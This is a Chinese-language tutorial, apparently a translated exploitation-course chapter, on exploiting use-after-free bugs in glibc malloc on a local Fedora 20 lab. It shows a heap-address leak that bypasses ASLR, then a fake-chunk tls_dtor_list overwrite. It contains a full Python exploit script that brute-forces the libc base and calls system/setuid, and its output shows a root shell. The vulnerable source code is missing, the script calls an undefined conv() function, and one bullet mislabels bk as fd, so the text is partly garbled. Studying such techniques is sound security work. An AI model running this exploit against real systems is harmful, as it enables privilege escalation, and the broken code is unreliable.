释放后使用

优质
小牛编辑
140浏览
2023-12-01

预备条件:

  1. Off-By-One 漏洞(基于栈)

VM 配置:Fedora 20(x86)

继续使用已经被释放的堆内存指针叫做释放后使用。这个漏洞会导致任意代码执行。

漏洞代码:

编译命令:

  1. $gcc -o vuln vuln.c
  2. $sudo chown root vuln
  3. $sudo chgrp root vuln
  4. $sudo chmod +s vuln

注意:不像上一篇文章,ASLR 在这里是打开的。所以现在让我们利用 UAF 漏洞,因为 ASLR 打开了,让我们使用信息泄露和爆破技巧来绕过它。

上面的漏洞代码包含两个 UAF 漏洞,位于行[6][13]。它们的堆内存在行[5][10]释放,但是它们的指针即使在释放后也使用,在行[6][13]。行[6]的UAF 会导致信息泄露,而行[13]的 UAF 导致任意代码执行。

在我们的漏洞代码(行[6])中,被泄露的信息是堆地址。这个泄露的对地址会帮助攻击者轻易计算出随机化堆段的基地址,因此绕过 ASLR。

为了理解堆地址如何泄露的,让我们首先理解漏洞代码的前半部分。

  • [1]name分配了 16 字节的堆内存区域。
  • [2]details分配了 16 字节的堆内存区域。
  • [3]将程序的参数 1(argv[1])复制到堆内存区域name中。
  • [4][5]将堆内存区域namedetails释放给 glibc malloc。
  • [6]printf在释放后使用name指针,这会导致堆地址的泄露。

阅读预备条件中的文章之后,我们知道,对应namedetails指针的块都是 fast 块,并且,当这些 fast 块被释放时,它们储存在 fast bin 的下标 0 处。我们也知道,每个 fast bin 都包含一个空闲块的单链表。因此对于我们的示例来说,fast bin 下标 0 处的单链表是这样:

由于这个单链表。name的前四个字节包含details_chunk地址,因此在打印name时,details_chunk地址首先被打印。我们可以从堆布局中知道,details_chunk位于堆基址的 0x10 偏移处。因此从泄露的堆地址减去 0x10,我们就得到了堆的基址。

现在获得随机化堆段的基址之后,让我们看看如何通过理解漏洞代码的后半部分,来实现任意代码执行。

  • [7]tmp分配了 16 字节的堆内存区域。
  • [8]p1分配了 1024 字节的堆内存区域。
  • [9]p2分配了 1024 字节的堆内存区域。
  • [10]将堆内存区域p2释放给 glibc malloc。
  • [11]p2_1分配了 512 字节的堆内存区域。
  • [12]p2_2分配了 512 字节的堆内存区域。
  • [13]的读取在释放后使用了p2指针。
  • [14]将堆内存区域p1释放给 glibc malloc。这会在程序退出时导致任意代码执行。

阅读预备条件中的文章之后,我们知道,当p2释放给 glibc malloc 时,它会和 top 块合并。之后为p2_1请求内存时,它会从 top 块分配 — p2p2_1包含相同的堆地址。之后为请求内存时,它也从 top 块分配 — p2_2p2之后的 512 个字节。因此在行[13]中,p2指针在释放后使用时,攻击者控制的数据(最大 1019 字节)会复制到p2_1,它的大小只有 512 字节,因此剩余的攻击者数据会覆盖下一个块p2_2,允许攻击者覆盖下一个块头部的size字段。

堆布局:

  • fd应该指向释放的块地址。从堆的布局中我们可以看到,p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410heap_base_address从信息泄露的 bug 中获取。

  • bk也应该指向释放的块地址。从堆的布局中我们可以看到,p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410heap_base_address从信息泄露的 bug 中获取。

  • fd_nextsize应该指向tls_dtor_list – 0x14tls_dtor_list属于 glibc 的私有匿名映射区段,它是随机化的。因此为了绕过这个随机化,让我们使用爆破技巧,就像下面的利用代码那样。

  • bk_nextsize应该指向堆内存,该内存包含dtor_list元素。systemdtor_list由攻击者注入在这个伪造的块头部后面,而setuiddtor_list由攻击者注入在p2_2堆内存区域内。从堆布局中我们了解到,systemsetuiddtor_list位于偏移 0x428 和 0x618 处。

使用所有这些信息,让我们编写利用程序来攻击漏洞二进制vuln

利用代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. import sys
  5. import telnetlib
  6. import time
  7. ip = '127.0.0.1'
  8. port = 1234
  9. def send(data):
  10. global con
  11. con.write(data)
  12. return con.read_until('\n')
  13. print "** Bruteforcing libc base address**"
  14. libc_base_addr = 0xb756a000
  15. fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
  16. system = libc_base_addr + 0x3e6e0
  17. system_arg = 0x80482ae
  18. size = 0x200
  19. setuid = libc_base_addr + 0xb9e30
  20. setuid_arg = 0x0
  21. time.sleep(4)
  22. con = telnetlib.Telnet(ip, port)
  23. laddress = con.read_until('\n')
  24. laddress = laddress[8:12]
  25. heap_addr_tup = struct.unpack("<I", laddress)
  26. heap_addr = heap_addr_tup[0]
  27. print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
  28. heap_base_addr = heap_addr - 0x10
  29. fd = heap_base_addr + 0x410
  30. bk = fd
  31. bk_nextsize = heap_base_addr + 0x618
  32. mp = heap_base_addr + 0x18
  33. nxt = heap_base_addr + 0x428
  34. print "** Constructing fake chunk to overwrite tls_dtor_list**"
  35. fake_chunk = conv(fd)
  36. fake_chunk += conv(bk)
  37. fake_chunk += conv(fd_nextsize)
  38. fake_chunk += conv(bk_nextsize)
  39. fake_chunk += conv(system_arg)
  40. fake_chunk += "A" * 484
  41. fake_chunk += conv(size)
  42. fake_chunk += conv(setuid)
  43. fake_chunk += conv(setuid_arg)
  44. fake_chunk += conv(mp)
  45. fake_chunk += conv(nxt)
  46. print "** Successful tls_dtor_list overwrite gives us shell!!**"
  47. send(fake_chunk)
  48. try:
  49. con.interact()
  50. except:
  51. exit(0)

由于在爆破技巧中,我们需要尝试多次(直到成功)。让我们将我们的漏洞二进制vuln运行为网络服务器,并使用 Shell 教程来确保崩溃时自动重启:

执行上述利用代码会给我们 root shell。好的。

  1. Shell-1$./vuln.sh
  2. Shell-2$python exp.py
  3. ...
  4. ** Leaked heap addresses : [0x889d010] **
  5. ** Constructing fake chunk to overwrite tls_dtor_list**
  6. ** Successfull tls_dtor_list overwrite gives us shell!!**
  7. *** Connection closed by remote host ***
  8. ** Leaked heap addresses : [0x895d010] **
  9. ** Constructing fake chunk to overwrite tls_dtor_list**
  10. ** Successfull tls_dtor_list overwrite gives us shell!!**
  11. *** Connection closed by remote host ***
  12. id
  13. uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  14. exit
  15. ** Leaked heap addresses : [0x890c010] **
  16. ** Constructing fake chunk to overwrite tls_dtor_list**
  17. ** Successfull tls_dtor_list overwrite gives us shell!!**
  18. *** Connection closed by remote host ***
  19. ...

参考:

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution